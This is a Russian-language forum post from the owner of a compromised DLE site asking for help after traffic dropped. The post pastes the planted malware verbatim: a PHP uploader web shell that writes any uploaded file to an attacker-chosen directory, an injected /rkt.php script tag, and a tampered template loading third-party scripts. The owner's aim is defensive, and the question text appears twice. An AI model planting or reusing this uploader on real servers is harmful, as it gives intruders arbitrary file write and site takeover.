В общем ситуация такая. Стоит лиц. dle 10.2 версии, все доступные баг-фиксы сделаны. В один прекрасный день отдыха чисто по случайности заметил, что траф хорошенько так упал с яшки, аж в два раза. Перекрестился, что не в конце отдыха и написал Платону. А он говорит санкции за плохое качество мобильных страниц и мол идите проверяйте на подписки и т.д.
Ну я начал ковыряться, нашел скрипт на главной странице левый вот с таким содержимым:
Самого этого файла у меня на сервере не было.
По мимо кода, еще были залиты файлы в корень с таким содержимым:
Я так понял этот скрипт может че угодно на сайт залить в корень.
Во втором спойлере тпл файл с названием "main.tpl" со ссылкой в описании на "serial-smotret.online" (там майнят если что, осторожно). Там же есть такой же скрипт, которые мне в main подключили. Мб что-то где-то подменялось и он грузился с этого сайта, а не с моего, поэтому его и не было у меня на сервере или как, не знаю, хз. Ответьте, кто шарит)
Админы хостинга говорят, что пароли никто не спер 100%, а был залит шелл и дело тут в дырах в самой CMS. Но я всевозможные фиксы ставлю сразу, как только на глаза попадаются и на данный момент стоят все.
Вот в принципе вся история. Пароли все естественно поменяны, все лишние файлы удалены с сервера.
Вопросы:
1. Что это вообще такое?
2. Как это все дело могло попасть на сайт?
3. Как лечить? Вдруг чего забыл.
4. Что можно сделать на будущее, чтобы подобных проблем не было?
Ну я начал ковыряться, нашел скрипт на главной странице левый вот с таким содержимым:
Код:
<script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
По мимо кода, еще были залиты файлы в корень с таким содержимым:
Код:
<?php
echo "Path: ".dirname(__FILE__)."<br>";
if (isset($_POST['dir']) && isset($_FILES['uploadfile']['name']))
{
$uploaddir = $_POST['dir'];
$uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);
if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile))
echo "UPLOAD COMPLITED";
else echo "UPLOAD ERROR";
}
?>
<form action="" method="post" enctype="multipart/form-data">
UploadDirPath:<input type="text" name="dir" value = "<?php echo "./"; ?>"><br>
<input type="file" name="uploadfile"><br>
<input type="submit" value="UP">
</form>
Код:
<!DOCTYPE html>
<html lang="ru" prefix="og: Open Graph protocol
video: http://ogp.me/ns/video#
ya: http://webmaster.yandex.ru/vocabularies/" >
<head>
<meta name="viewport" content="user-scalable=no, initial-scale=1.0, maximum-scale=1.0, width=device-width">
{headers}
<link rel="shortcut icon" href="/favicon.ico"/>
<meta name="revisit-after" content="1 days">
<link href="/uploads/play.png" rel='image_src'/>
<link rel="stylesheet" href="{THEME}/css/mini.css">
<link rel="stylesheet" href="{THEME}/css/style.css">
<link rel="stylesheet" href="{THEME}/css/engine.css"><script src="//yadropro.ru/bigcinema-onlineru"></script>
{include file='engine/metagen.php?a=get&r=name&t=<meta {r}="{p}" content="{v}"/>'}
{include file='engine/metagen.php?a=get&r=property&t=<meta {r}="{p}" content="{v}"/>'}
</head>
<body>
{AJAX}
<div class="inner row">
<div id="header">
<div class="col l3 m4 s12 first">
<div class="logo">
<a rel="nofollow" id="mainlogo" title="Сериалы онлайн" href="/"></a>
</div>.
</div>
<div class="col l6 m4 s12 middle">
{include file="topmenu.tpl"}
<div class="clear"></div>
<div class="message">
</div>
</div>
<div class="col l3 m4 s12">
<div class="socik">
<noindex>
<script type="text/javascript" src="//yastatic.net/share/share.js" charset="utf-8"></script>
<div class="yashare-auto-init" data-yasharel10n="ru" data-yasharetype="small" data-yasharequickservices="vkontakte,facebook,twitter,odnoklassniki,gplus" data-yasharetheme="counter">
</div>
</noindex>
</div>
{login}
</div>
<div class="clear"></div>
</div>
<div class="mob-menu">Навигация по сайту</div>
<div class="podhead l12 m12 s12">
<div class="col l7 m6 s12">
[aviable=main]
<h1 class="tag_title">Фильмы и сериалы 2018 смотреть онлайн</h1>
[/aviable] [not-aviable=main]
<div class="tag_title">
Фильмы и сериалы 2018 смотреть онлайн
</div>
[/not-aviable]
</div>
<div class="col l5 m6 s12 poisk">
<div class="search">
<form method="post">
<input type="hidden" name="do" value="search">
<input type="hidden" name="subaction" value="search">
<input name="story" placeholder="Поиск..." type="text" class="f_search">
<input type="submit" class="bigbtn" value="Найти">
</form>
</div>
</div>
<div class="clear"></div>
</div>
[aviable=main]
<div class="slider">
<div class="tophot row">
{custom xfields="slider" template="justify" category="1-50" order="date" limit="6" cache="no"}
</div>
<div class="clear"></div>
</div>
[/aviable]
<div class="col l8 m7 s12 maincont">
[not-group=1,2,3,4]
<center><iframe width="600" height="330" src="//utraff.com/index.php?r=iframe/index&id=1521" frameborder="0" scrolling="no"></iframe></center>
[/not-group]
[aviable=main|cat|xfsearch]
<div class="xsort-area ignore-select">
<div>Сортировать по:</div>
{include file="engine/mods/xsort/selected.php"}
</div>
[/aviable]
[aviable=showfull]{speedbar}[/aviable]
[aviable=cat]{include file="category.tpl"}[/aviable]
{content}{info}
</div>
<div class="col l4 m5 s12 sidebar">
{include file="sidebar.tpl"}
<!--
<div class="popul">
<div class="title">Популярные фильмы</div>
{custom xfields="skorof" template="justify1" category="1-50" order="date" limit="6"}
</div>
-->
[not-group=1,2,4]
<noindex>
[banner_tizer_p]
{banner_tizer_p}
[/banner_tizer_p]
</noindex>
[/not-group]
</div>
<div class="col l12 m12 s12">
[aviable=main]
<div class="mainbot">
</div>
[/aviable]
[aviable=cat|main]{include file="engine/modules/catface.php"}[/aviable]
</div>
<div class="col l12 m12 s12 footer">
<div class="links">
<a rel="nofollow" target="_blank" href="/" title="BigCinema">Главная</a> |
<a rel="nofollow" target="_blank" href="/serialy/" title="Смотреть сериалы онлайн">Сериалы</a> |
<a rel="nofollow" target="_blank" href="/sitemap.xml" title="Карта сайта">Карта сайта</a>
</div>
<!--LiveInternet counter--><script type="text/javascript">
document.write("<a href='//www.liveinternet.ru/click' "+
"target=_blank><img src='//counter.yadro.ru/hit?t57.6;r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random()+
"' alt='' title='LiveInternet' "+
"border='0' width='88' height='31'><\/a>")
</script><!--/LiveInternet-->
<div class="copy">
Serial-smotret.online - Фильмы и сериалы 2017 смотреть онлайн без регистрации и в хорошем качестве HD 720
</div>
<div class="li">
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function() {
var winBr = $(window).width();
if(winBr<800){
$(".podhead").prepend( $(".top_film") );
}
$(".mob-menu").click(function() {
$(".top_film").slideToggle();
});
$(".mob-user").click(function() {
$(this).slideToggle();
$(".userinout").slideToggle();
});
});
</script>
<noindex>
<script type="text/javascript" src="/engine/classes/min/index.php?charset=windows-1251&f={THEME}/js/tabs.js,{THEME}/js/tabsfull.js,{THEME}/js/tr.js&7"></script>
<script type="text/javascript" src="{THEME}/js/soon.js"></script>
<!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter34984820 = new Ya.Metrika({
id:34984820,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});
} catch(e) { }
});
var n = d.getElementsByTagName("script")[0],
s = d.createElement("script"),
f = function () { n.parentNode.insertBefore(s, n); };
s.type = "text/javascript";
s.async = true;
s.src = "https://mc.yandex.ru/metrika/watch.js";
if (w.opera == "[object Opera]") {
d.addEventListener("DOMContentLoaded", f, false);
} else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/34984820" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
</div></noindex>
[not-group=1,2,3,4][banner_brend]
{banner_brend}
[/banner_brend][/not-group]
<script>
function xsort_empty(){
$("#dle-content").html('<div class="xsort_empty">Ничего не найдено</div>');
}
$(document)
.on('click','.xsort-selected',function(e){
var ul = $(this).parents('.xsort-div').find('.xsort-ul');
var d = ul.css('display');
$('.xsort-ul').hide();
if(d=='none') ul.slideDown(200);
// var litop = ul.find('li.current')[0].offsetTop-31;
// ul.animate({'scrollTop':litop+'px'},100);
return false;
})
.on('click','.xsort-ul li',function(){
$this = $(this);
var text = $this.text();
var val = $this.data('val');
var field = $this.parents('.xsort-ul').data('field');
var sel = $this.parents('.xsort-div');
if(val!=='') sel.addClass('xsort-active');
else sel.removeClass('xsort-active');
sel = sel.find('.xsort-selected');
var url = window.location.href;
if(field=='defaultsort'){
$this.siblings().removeClass('xasc xdesc');
sel = sel.find('span');
if(val!==''){
if($this.hasClass('xdesc')){
$this.removeClass('xdesc').addClass('xasc');
sel.attr("class","xasc");
}else{
$this.removeClass('xasc').addClass('xdesc');
sel.attr("class","xdesc");
}
}else{
sel.removeClass('xasc xdesc');
}
}else{
if($(this).hasClass('current')){
$this.parents('.xsort-ul').find('li').eq(0).click();
return false;
}
}
sel.html(text);
$this.addClass('current').siblings().removeClass('current');
if(url.indexOf('/page/')>=0){
url = url.split('/page/');
url = url[0]+'/';
}
ShowLoading();
$(".berrors").remove();
$.ajax({
url: url,
type: "POST",
method: "POST",
data: {xsort:1,xs_field:field,xs_value:val}
}).done(function(d){
HideLoading();
var html = $("#dle-content",d).html();
if(html){
$("#dle-content").html(html);
if(url != window.location.href) window.history.pushState(null, null, url);
}else xsort_empty();
}).fail(function(d){
HideLoading();
xsort_empty();
})
})
.on('click','body:not(.xsort-ul)',function(){
$('.xsort-ul').fadeOut(100);
})
.on('click','.xsort-div-filler',function(){
ShowLoading();
$('#xsort-admin').remove();
$('body').append('<div id="xsort-admin" title="Поиск и формирование списка значений доп. полей" style="display:none;"/>');
$.post(dle_root+"engine/mods/xsort/admin.php",{do:'start'},function(d){
HideLoading();
$('#xsort-admin').html(d).dialog({
width: '600px',
buttons: {
'Закрыть':function(){
$(this).dialog('close');
}
}
});
})
})
.on('click','.xsort-admin-area ul li',function(){
var ul = $(this).parents('ul');
ul.addClass('loading');
if(!$(this).hasClass('current')) $(this).removeClass('xreverse');
var reverse = $(this).hasClass('xreverse');
$(this).toggleClass('xreverse');
$(this).addClass('current').siblings().removeClass('current');
$.post(dle_root+"engine/mods/xsort/admin.php",{field:$(this).data('field'),reverse:reverse},function(d){
ul.removeClass('loading');
$('.xsort-admin-area pre code').html(d);
})
})
.on('click','.xsort-div-clearall',function(){
var url = window.location.href;
if(url.indexOf('/page/')>=0){
url = url.split('/page/');
url = url[0]+'/';
}
ShowLoading();
$(".berrors").remove();
$.ajax({
url: url,
type: "POST",
method: "POST",
data: {xsort:1,xs_field:'clearallfields'}
}).done(function(d){
HideLoading();
window.location.href = url;
}).fail(function(d){
HideLoading();
xsort_empty();
})
})
</script>
<!-- Yandex.Metrika counter --> <script type="text/javascript" > (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter46971411 = new Ya.Metrika({ id:46971411, clickmap:true, trackLinks:true, accurateTrackBounce:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); </script> <noscript><div><img src="https://mc.yandex.ru/watch/46971411" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
<script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
</body>
</html>
Во втором спойлере тпл файл с названием "main.tpl" со ссылкой в описании на "serial-smotret.online" (там майнят если что, осторожно). Там же есть такой же скрипт, которые мне в main подключили. Мб что-то где-то подменялось и он грузился с этого сайта, а не с моего, поэтому его и не было у меня на сервере или как, не знаю, хз. Ответьте, кто шарит)
Админы хостинга говорят, что пароли никто не спер 100%, а был залит шелл и дело тут в дырах в самой CMS. Но я всевозможные фиксы ставлю сразу, как только на глаза попадаются и на данный момент стоят все.
Вот в принципе вся история. Пароли все естественно поменяны, все лишние файлы удалены с сервера.
Вопросы:
1. Что это вообще такое?
2. Как это все дело могло попасть на сайт?
3. Как лечить? Вдруг чего забыл.
4. Что можно сделать на будущее, чтобы подобных проблем не было?
Последнее редактирование: